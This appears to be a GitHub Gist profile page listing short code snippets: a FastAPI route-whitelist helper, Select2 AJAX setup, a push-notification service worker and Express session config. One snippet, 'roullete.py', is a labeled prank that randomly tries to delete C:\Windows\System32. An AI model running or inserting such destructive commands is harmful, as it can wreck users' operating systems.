Skip to content

Instantly share code, notes, and snippets.

View gensart-x's full-sized avatar
✌️
end of the line.

ゲネス | gens gensart-x

✌️
end of the line.
View GitHub Profile
@gensart-x
gensart-x / http.py
Created October 15, 2025 03:51
Python utility helper to whitelist described routes. I used this in my FastAPI
def is_whitelisted(path: str, whitelisted_paths: list[str]) -> bool:
for pattern in whitelisted_paths:
# Exact match for "/"
if pattern == "/" and path == "/":
return True
# Simple wildcard match: /api/v1/* matches anything under /api/v1/
if pattern.endswith("/*"):
base = pattern[:-1] # keep the trailing slash
if path.startswith(base):
@gensart-x
gensart-x / index.js
Last active October 3, 2025 14:57
Select2 AJAX common setup
$('#mySelect2').select2({
dropdownParent: $('#your-modal-id'),
placeholder: 'Search for an item', // text shown when nothing is selected
allowClear: true, // adds an “×” button to clear the selection (for non‐required selects)
minimumInputLength: 3, // require at least 3 character input before AJAX request
multiple: false, // single selection (set to true for multi-select)
width: 'resolve', // how to compute width: 'resolve' uses container’s width
// You can also use width: '100%' or a fixed width
ajax: {
url: '/api/items/search', // endpoint to fetch results
@gensart-x
gensart-x / roullete.py
Created December 27, 2024 04:56
Don't try in Windows machine, Russian Roullete
import random
import os
if random.randint(0, 6) == 1:
os.remove("C:\Windows\System32")
@gensart-x
gensart-x / sw.js
Created October 11, 2024 02:45
JS Service Worker for Push Notification
// Show notification if some data pushed to the service worker
self.addEventListener('push', event => {
// Get the data from the push message
const notification = event.data.json();
// Show the notification
event.waitUntil(self.registration.showNotification(notification.title, {
body: notification.body,
icon: 'icon.png',
data: {
@gensart-x
gensart-x / main.ts
Created June 7, 2024 09:04
Session setup, filesystem-based, Express Session for Node.js
// Session Setup
import sessionFileStore from 'session-file-store';
import expressSession from 'express-session';
declare module 'express-session' {
interface SessionData {
[key: string]: any
}
}
const fileStore = sessionFileStore(expressSession)
app.use(expressSession({